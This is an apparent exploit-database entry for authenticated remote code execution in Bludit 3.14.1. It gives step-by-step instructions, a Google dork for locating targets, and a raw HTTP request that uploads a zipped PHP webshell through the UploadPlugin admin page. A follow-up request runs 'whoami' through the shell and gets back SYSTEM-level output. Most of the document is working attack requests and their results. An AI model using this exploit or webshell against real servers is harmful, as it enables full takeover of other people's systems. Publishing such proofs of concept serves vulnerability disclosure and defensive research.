# Exploit Title: Bludit 3-14-1 Plugin 'UploadPlugin' - Remote Code Execution (RCE) (Authenticated) # Exploit Author: Alperen Ergel # Contact: @alpernae (IG/TW) # Software Homepage: https://www.bludit.com/ # Version : 3-14-1 # Tested on: windows 11 wampserver | Kali linux # Category: WebApp # Google Dork: intext:'2022 Powered by Bludit' # Date: 8.12.2022 ######## Description ######## # # Step 1 : Archive as a zip your webshell (example: payload.zip) # Step 2 : Login admin account and download 'UploadPlugin' # Step 3 : Go to UploadPlugin section # Step 4 : Upload your zip # Step 5 : target/bl-plugins/[your_payload] # ######## Proof of Concept ######## ==============> START REQUEST <======================================== POST /admin/plugin/uploadplugin HTTP/2 Host: localhost Cookie: BLUDIT-KEY=ri91q86hhp7mia1o8lrth63kc4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------308003478615795926433430552264 Content-Length: 1820 Origin: https://036e-88-235-222-210.eu.ngrok.io Dnt: 1 Referer: https://036e-88-235-222-210.eu.ngrok.io/admin/plugin/uploadplugin Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Te: trailers -----------------------------308003478615795926433430552264 Content-Disposition: form-data; name="tokenCSRF" b6487f985b68f2ac2c2d79b4428dda44696d6231 -----------------------------308003478615795926433430552264 Content-Disposition: form-data; name="pluginorthemes" plugins -----------------------------308003478615795926433430552264 Content-Disposition: form-data; name="zip_file"; filename="a.zip" Content-Type: application/zip PK †eˆU  a/PK  ”fˆUÆ ª)¢ Ä a/a.phpíVێÓ0}ç+La BÛìVܖpX®ËJ @V꺭!µƒíÒrûwl7É$mQyà‘<$©çÌÌ93ã¸È]ƒË·ï–óÒ=/.&nbsp;pÝãZ+M5/•¶BÎÈ0>©M†[jłÓB,„õtO̤Ҝ. ×4;’†e)¨ƒ¼Èה¯9[Z¡dðÆ „Œ&amp;Âd
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PK   ­ ç -----------------------------308003478615795926433430552264 Content-Disposition: form-data; name="submit" Upload -----------------------------308003478615795926433430552264-- ==============> END REQUEST <======================================== ## WEB SHELL UPLOADED! ==============> START RESPONSE <======================================== HTTP/2 200 OK Cache-Control: no-store, no-cache, must-revalidate Content-Type: text/html; charset=UTF-8 Date: Thu, 08 Dec 2022 18:01:43 GMT Expires: Thu, 19 Nov 1981 08:52:00 GMT Ngrok-Trace-Id: f3a92cc45b7ab0ae86e98157bb026ab4 Pragma: no-cache Server: Apache/2.4.51 (Win64) PHP/7.4.26 X-Powered-By: Bludit . . . . ==============> END RESPONSE <======================================== # REQUEST THE WEB SHELL ==============> START REQUEST <======================================== GET /bl-plugins/a/a.php?cmd=whoami HTTP/2 Host: localhost Cookie: BLUDIT-KEY=ri91q86hhp7mia1o8lrth63kc4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Dnt: 1 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Te: trailers ==============> END REQUEST <======================================== ==============> START RESPONSE <======================================== HTTP/2 200 OK Content-Type: text/html; charset=UTF-8 Date: Thu, 08 Dec 2022 18:13:14 GMT Ngrok-Trace-Id: 30639fc66dcf46ebe29cc45cf1bf3919 Server: Apache/2.4.51 (Win64) PHP/7.4.26 X-Powered-By: PHP/7.4.26 Content-Length: 32 <pre>nt authority\system </pre> ==============> END RESPONSE <========================================